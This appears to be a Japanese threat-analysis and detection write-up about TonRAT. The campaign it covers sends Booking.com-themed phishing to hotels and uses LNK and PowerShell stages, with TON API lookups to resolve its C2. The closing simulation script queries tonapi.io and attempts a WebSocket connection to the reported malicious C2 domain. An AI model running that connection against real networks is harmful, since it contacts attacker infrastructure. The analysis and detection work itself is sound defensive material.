ホテル業界を標的にした不審なメールの技術分析
Detection stack
- AIDR
- Alert
- ETL
- Query
概要
洗練された多段階マルウェアキャンペーンが、Booking.comの通知を装ったメールを通じてホテル業界を標的にしています。侵入の流れは、悪意のあるLNKファイル、PowerShellスクリプト、およびTonRATというNode.jsベースのリモートアクセス型トロイの木馬を組み合わせています。このオペレーションで最も注目すべき点の一つは、コマンド&コントロールドメインを動的に取得するためにThe Open Network(TON)APIを使用していることであり、これにより伝統的なドメインベースのブロックが信頼性を失います。
調査
調査では、最初のZIPアーカイブにLNKファイルが含まれており、それがPowerShellを起動して二次スクリプトを取得するという、層状の実行フローが明らかになりました。そのスクリプトはAESを使用してTonRATと識別されたJavaScriptのペイロードを復号し、そこからダウンロードされた正規のNode.jsランタイムを介して実行します nodejs.org。アクティブになると、マルウェアはTONブロックチェーンAPIリクエストから取得したドメイン情報を使用して、WebSocketベースのコマンドコントロール通信を開始します。
緩和策
推奨される防御策には、PowerShellの実行を制限し、Node.jsランタイム(node.exe)の不正使用を注意深く監視し、異常なWebSocketトラフィックを検出することが含まれます。組織はTON APIへの接続も監視し、特に tonapi.ioへの接続に注意し、なりすましドメイン、不審な添付ファイル、およびホテルスタッフを標的としたフィッシングの誘惑をキャッチするためにメールフィルタリングを強化するべきです。
対応策
侵入が疑われる場合、セキュリティチームは追加のコマンドアンドコントロールトラフィックおよびデータ漏洩を防ぐため、影響を受けたエンドポイントを直ちに隔離する必要があります。PowerShellの操作ログおよびプロセス実行記録を不正な node.exe 活動がないかレビューする必要があります。既知のTonRAT JavaScriptハッシュのためのフォレンジック捜索も行うべきで、特定されたコマンドコントロールインフラストラクチャへの接続についても調査するべきです。
"graph TB %% クラス定義セクション classDef action fill:#99ccff classDef tool fill:#cccccc classDef malware fill:#ff9999 classDef process fill:#ccffcc %% ノード定義 action_phishing["<b>アクション</b> – <b id='T1566.002'>T1566.002 フィッシング:スピアフィッシングリンク</b><br/>説明: 攻撃者はBooking.comを装ったメールを送信し、悪意のあるZIPファイルをダウンロードするリンクを含めます。"] class action_phishing action action_execution["<b id='T1204.002'>T1204.002 ユーザー実行:悪意のあるファイル</b><br/>説明: ユーザーはZIPアーカイブに含まれる.lnkファイルを実行します。"] class action_execution action process_cmd["<b id='T1059.003'>T1059.003 コマンドとスクリプトインタープリター: Windowsコマンドシェル</b><br/>説明: Invoke-WebRequestを使用したPowerShellコマンドによってトリガーされ、二次スクリプトをダウンロードします。"] class process_cmd process malware_script["<b id='T1027'>T1027 難読化されたファイルまたは情報</b><br/>説明: PowerShellスクリプトLE3f0MRT.ps1はAES暗号化を使用してJavaScriptファイル(TonRAT)を復号します。"] class malware_script malware action_transfer["<b id='T1105'>T1105 ツールの転送</b><br/>説明: マルウェアは正規のNode.jsランタイムをnodejs.orgからダウンロードしてペイロードを実行します。"] class action_transfer action action_indirect["<b id='T1202'>T1202 間接コマンド実行</b><br/>説明: 持続性を維持し、検出を回避するために使用されます。"] class action_indirect action action_resolution["<b id='T1568'>T1568 動的解決</b><br/>説明: TON API(tonapi.io)をクエリしてコマンド&コントロールC2ドメインを取得します。"] class action_resolution action malware_tonrat["<b id='T1568'>T1568 コマンド&コントロール</b><br/>説明: TonRATはWebSocketを介してECDHハンドシェイクを使用して暗号化されたC2通信を確立します。"] class malware_tonrat malware %% 接続 action_phishing –>|leads_to| action_execution action_execution –>|triggers| process_cmd process_cmd –>|downloads| malware_script malware_script –>|performs| action_transfer action_transfer –>|enables| action_indirect action_indirect –>|performs| action_resolution action_resolution –>|resolves_C2_for| malware_tonrat malware_tonrat –>|allows| action_indirect "
攻撃フロー
検出
隠されたPowerShellコマンドラインによる実行の可能性(cmdlineを介して)
表示
PowerShellの難読化指標の可能性(powershellを介して)
表示
持続性ポイントの可能性[ASEPs – ソフトウェア/NTUSER ハイブ](registry_eventを介して)
表示
疑わしいディレクトリにおけるファイルの実行をPowerShellがエクゼキューションポリシーバイパスを使用して実行(cmdlineを介して)
表示
NodeJSバイナリが一般的でない場所から実行されている(cmdlineを介して)
表示
Windows Defenderの設定に対する疑わしい変更(powershellを介して)
表示
異常なトップレベルドメイン(TLD)のDNS要求による疑わしい指揮および制御(dnsを介して)
表示
TonRATにおけるTON API経由で検出されたWebSocket C2通信[Windowsネットワーク接続]
表示
悪意のあるファイルのダウンロードと実行のためのPowerShellコマンド[Windows Powershell]
表示
シミュレーション実行
前提条件: テレメトリ&ベースラインの事前飛行チェックがパスしている必要があります。
理由: このセクションは、検出ルールをトリガーするように設計された敵の技術(TTP)の正確な実行について詳述しています。コマンドおよびナラティブは、特定されたTTPを直接反映し、検出ロジックで期待される正確なテレメトリを生成することを目的としています。抽象的または無関係な例は誤診につながります。
-
攻撃のナラティブとコマンド: 敵はWebSocketベースのコマンドアンドコントロール(C2)チャネルを確立することを目的としています。正規のトラフィックに溶け込むため、マルウェアは最初に
tonapi.ioサービスをクエリして、自身のC2インフラストラクチャを解決します。一旦「正規の」APIインタラクションが確立されると、マルウェアはWebSocketハンドシェイク(wss://)をハードコードされた悪意のあるドメインzloapobikahy23.bondに対して開始します。このシーケンスは、TON APIの評判を利用して後続の悪意のある接続を隠すように設計されています。 -
リグレッションテストスクリプト:
# TonRAT WebSocket C2通信のシミュレーション # ステップ1: TON APIとのインタラクションをシミュレート Write-Host "[+] tonapi.ioとのインタラクションをシミュレート中..." $api_url = "https://tonapi.io/v2/blockchain/accounts/EQ..." Invoke-WebRequest -Uri $api_url -Method Get -UseBasicParsing # ステップ2: 悪意のあるC2ドメインへのWebSocket接続をシミュレート # 注: PowerShellクライアントを使用してWSSリクエストを開始し、'wss://'とドメインロジックをトリガー Write-Host "[+] 悪意のあるドメインへのWebSocket接続をシミュレート中..." $c2_url = "wss://zloapobikahy23.bond/control" # テレメトリに'wss://'が存在することを確認するために.NET WebSocketsクライアントを使用 $ws = New-Object System.Net.WebSockets.ClientWebSocket $cts = New-Object System.Threading.CancellationTokenSource $uri = New-Object System.Uri($c2_url) try { $task = $ws.ConnectAsync($uri, $cts.Token) # ログを生成するために成功した接続は必要なく、試みだけで良い。 $task.Wait(5000) } catch { Write-Host "[!] 接続は期待通りに失敗しましたが(ドメインが存在しません)、テレメトリが生成されるはずです。" } finally { $ws.Dispose() } -
クリーンアップコマンド:
# このスクリプトでは持続的なアーティファクトは作成されませんが、コンソールをクリアします Clear-Host Write-Host "シミュレーションクリーンアップが完了しました。"